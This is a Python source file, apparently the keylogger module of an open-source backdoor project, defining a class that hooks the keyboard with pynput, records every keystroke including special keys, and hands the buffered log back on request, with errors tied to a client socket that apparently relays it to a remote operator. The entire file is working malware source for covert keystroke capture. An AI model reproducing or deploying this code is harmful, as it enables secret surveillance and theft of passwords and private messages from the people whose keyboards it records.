

```

1  """
2  https://github.com/xp4xbox/Python-Backdoor
3
4  @author    xp4xbox
5
6  license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
7  """
8
9  import threading
10 import pynput
11
12 from src import errors
13
14 KEY = pynput.keyboard.Key
15
16
17 class Keylogger:
18
19     def __init__(self):
20         self.logs = None
21         self.listener = pynput.keyboard.Listener(on_press=self.on_keyboard_evt)
22         self.clear()
23
24     def on_keyboard_evt(self, evt):
25         if evt == KEY.backspace:
26             self.logs += " [Bck] "
27         elif evt == KEY.tab:
28             self.logs += " [Tab] "
29         elif evt == KEY.enter:
30             self.logs += "\n"
31         elif evt == KEY.space:
32             self.logs += " "
33         elif type(evt) == KEY: # if the character is some other type of special key
34             self.logs += f" [{str(evt)[4:]}] "
35         else:
36             self.logs += f"{evt}"[1:len(str(evt)) - 1]
37
38     def start(self):
39         if not self.listener.running:
40             self.listener.start()
41
42     def stop(self):
43         if self.listener.running:
44             self.listener.stop()
45             threading.Thread.__init__(self.listener) # re-initialise the thread
46             self.clear()
47         else:
48             raise errors.ClientSocket.KeyloggerError("Listener is not running")
49
50     def dump_logs(self):
51         if self.listener.running:
52             logs = self.logs
53             self.clear()
54             return logs
55         else:
56             raise errors.ClientSocket.KeyloggerError("Listener is not running")
57
58     def clear(self):
59         self.logs = ""
60

```